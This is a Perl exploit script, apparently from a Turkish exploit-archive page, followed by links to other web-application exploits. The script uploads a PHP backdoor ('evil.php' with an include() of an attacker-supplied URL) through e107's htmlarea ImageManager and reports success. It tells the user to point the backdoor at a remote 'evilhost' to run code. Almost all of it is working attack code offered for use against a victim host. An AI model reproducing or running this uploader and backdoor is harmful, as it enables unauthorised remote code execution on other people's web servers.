Eklenme Tarihi: 2008-10-20 22:59
####################################################################
#
# _____ _
# | ___| | _____ ___
# | |_ | |/ _ \ \ /\ / /
# | _| | | (_) \ V V /
# |_| |_|\___/ \_/\_/
# Security Group.
#
# -=[ e107 remote sploit ]=-
# by sysbug
#
# Attack method:
# with this sploit u can send an include() vuln to a Host victim
# the upload go to /images/evil.php
#
# C:\Perl\bin>perl sploit.pl www.site.com
# -=[ e107 remote sploit ]=-
# by sysbug
# # www.site.com
# # OWNED OH YEAH!
# # get your evilc0de in:
# # www.site.com/images/evil.php?owned=http://evilhost/
# C:\Perl\bin>
#
# credits: ALL MY FRIENDS!
# HELP ? RTFM -> perl sploit.pl
#####################################################################
use IO::Socket;
if(@ARGV < 1){
usage();
exit;
}
main();
sub main(){
print "-=[ e107 remote sploit ]=-\n";
print " by sysbug \n\n";
$host[0] = $ARGV[0];
if($host[0] =~ /\//){
($host[1],$host[2])=split(/\//,$host[0]);
$host[0] =~ /\/(.*)/;
$host[3] = "/";
$host[3] .= $1;
}
$host[1] = $host[0] if(!$host[1]);
@handlers =("e107_handlers","handlers");
print "# $host[1]\n";
foreach $handler(@handlers){
$path = "$host[3]/$handler/htmlarea/popups/ImageManager/images.php";
$socket=IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host[1],PeerPort=>80,Timeout=>10)|| die " s0k off\n";
print $socket "POST $path HTTP/1.1\r\n";
print $socket "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
print $socket "Referer:
http://www.lapropinacultural.com.ar/handlers/htmlarea/popups/insert_image.php\r\n";
print $socket "Accept-Language: pt\r\n";
print $socket "Content-Type: multipart/form-data; boundary=---------------------------7d410e113f8\r\n";
print $socket "Accept-Encoding: gzip, deflate\r\n";
print $socket "User-Agent: l33t br0ws3r\r\n";
print $socket "Host: $host[1]\r\n";
print $socket "Content-Length: 1646\r\n";
print $socket "Connection: Keep-Alive\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"dirPath\"\r\n\r\n";
print $socket "/\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"url\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"width\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"vert\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"alt\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"height\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"horiz\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"upload\"; filename=\"evil.php\"\r\n";
print $socket "Content-Type: application/octet-stream\r\n\r\n";
print $socket "<? include(\$owned); ?>\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"align\"\r\n\r\n";
print $socket "baseline\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"border\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"orginal_width\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"orginal_height\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"constrain_prop\"\r\n\r\n";
print $socket "on\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";
print $socket "Refresh\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";
print $socket "OK\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"cancel\"\r\n\r\n";
print $socket "Cancel\r\n";
print $socket "-----------------------------7d410e113f8--\r\n\r\n\r\n\r\n";
@socket = <$socket>;
foreach $teste(@socket){
if($teste=~ /<title>Image Browser<\/title>/){
print "# OWNED OH YEAH!\n";
print "# get your evilc0de in: \n# $host[0]/images/evil.php?owned=http://evilhost/\n";
$result = 1;
}
}
close($socket);
}
if($result){
exit;
}
print "# b4d upload!!";
}
sub usage(){
print "-=[ e107 remote sploit ]=-\n";
print " by sysbug \n\n";
print "# usage: perl $0 <host> \n";
}
Keywords:
Benzer Sayfalar (Similar Pages):
Exploit /
Web Apps Exploit /
Claroline <= 1.7.6 (includePath) Remote Code Execution ExploitExploit /
Web Apps Exploit /
wavewoo 0.1.1 (loading.php path_include) Remote File Inclusion ExploitExploit /
Web Apps Exploit /
Nitrotech 0.0.3a (includes/common.php) Remote Code Execution ExploitExploit /
Web Apps Exploit /
GuestBook Script <= 1.7 (include_files) Remote Code Execution ExploitExploit /
Web Apps Exploit /
KnowledgebasePublisher 1.2 (include) Remote Code Execution ExploitBu Sayfalarda İlginizi Çekebilir (The Links Bellow May Attract You As Well):
Exploit /
Web Apps Exploit /
Turbo Seek Null Byte Error Discloses Files to Remote Users Exploit /
Web Apps Exploit /
PHP-Nuke 7.4 Remote Privilege EscalationExploit /
Web Apps Exploit /
TorrentTrader 1.0 RC2 SQL Injection ExploitExploit /
Web Apps Exploit /
phpMyWebhosting SQL Injection Exploit
Exploit /
Web Apps Exploit /
PHP-NUKE version <= 6.9 'cid' sql injection Remote ExploitExploit /
Web Apps Exploit /
phpBB 2.0.6 search_id sql injection MD5 Hash Remote Exploit
Exploit /
Web Apps Exploit /
phpBB 2.0.5 SQL Injection password disclosure Exploit
Exploit /
Web Apps Exploit /
Fastgraf's whois.cgi Remote Command Execution ExploitExploit /
Web Apps Exploit /
Poll It CGI v2.0 exploitExploit /
Web Apps Exploit /
CMScore SQL Injection ExploitExploit /
Web Apps Exploit /
MyPHP Forum 1.0 SQL Injection ExploitExploit /
Web Apps Exploit /
PostNuke PostWrap Module Remote ExploitExploit /
Web Apps Exploit /
PerlDesk 1.x SQL-Injection ExploitExploit /
Web Apps Exploit /
LiteForum 2.1.1 sql injection exploitExploit /
Web Apps Exploit /
Siteman <= 1.1.10 Remote Administrative Account Addition ExploitExploit /
Web Apps Exploit /
AWStats configdir Remote Command Execution Exploit (perl code)Exploit /
Web Apps Exploit /
ITA Forum <= 1.49 SQL Injection ExploitExploit /
Web Apps Exploit /
phpMyChat 0.14.5 Remote Improper File Permissions ExploitExploit /
Web Apps Exploit /
phpBB <= 2.0.10 Remote Command Execution Exploit (cgi version)Exploit /
Web Apps Exploit /
Invision Power Board v2.0.0 - 2.0.2 Sql Injection ExploitExploit /
Web Apps Exploit /
phpBB <= 2.0.10 Remote Command Execution ExploitExploit /
Web Apps Exploit /
GFHost PHP GMail Remote Command Execution ExploitExploit /
Web Apps Exploit /
TWiki 20030201 search.pm Remote Command Execution ExploitExploit /
Web Apps Exploit /
UBB.threads 6.2.*-6.3.* one char bruteforce exploitExploit /
Web Apps Exploit /
ocPortal 1.0.3 Remote File InclusionExploit /
Web Apps Exploit /
The Includer CGI <= 1.0 Remote Command Execution (new version2)Exploit /
Web Apps Exploit /
The Includer CGI <= 1.0 Remote Command Execution (new version)Exploit /
Web Apps Exploit /
PHP-Nuke 6.x - 7.6 Top module Remote Sql Injection Exploit (working)Exploit /
Web Apps Exploit /
phpBB <= 2.0.13 'Calendar Pro' mod Remote ExploitExploit /
Web Apps Exploit /
phpBB <= 2.0.13 'downloads.php' mod Remote Exploit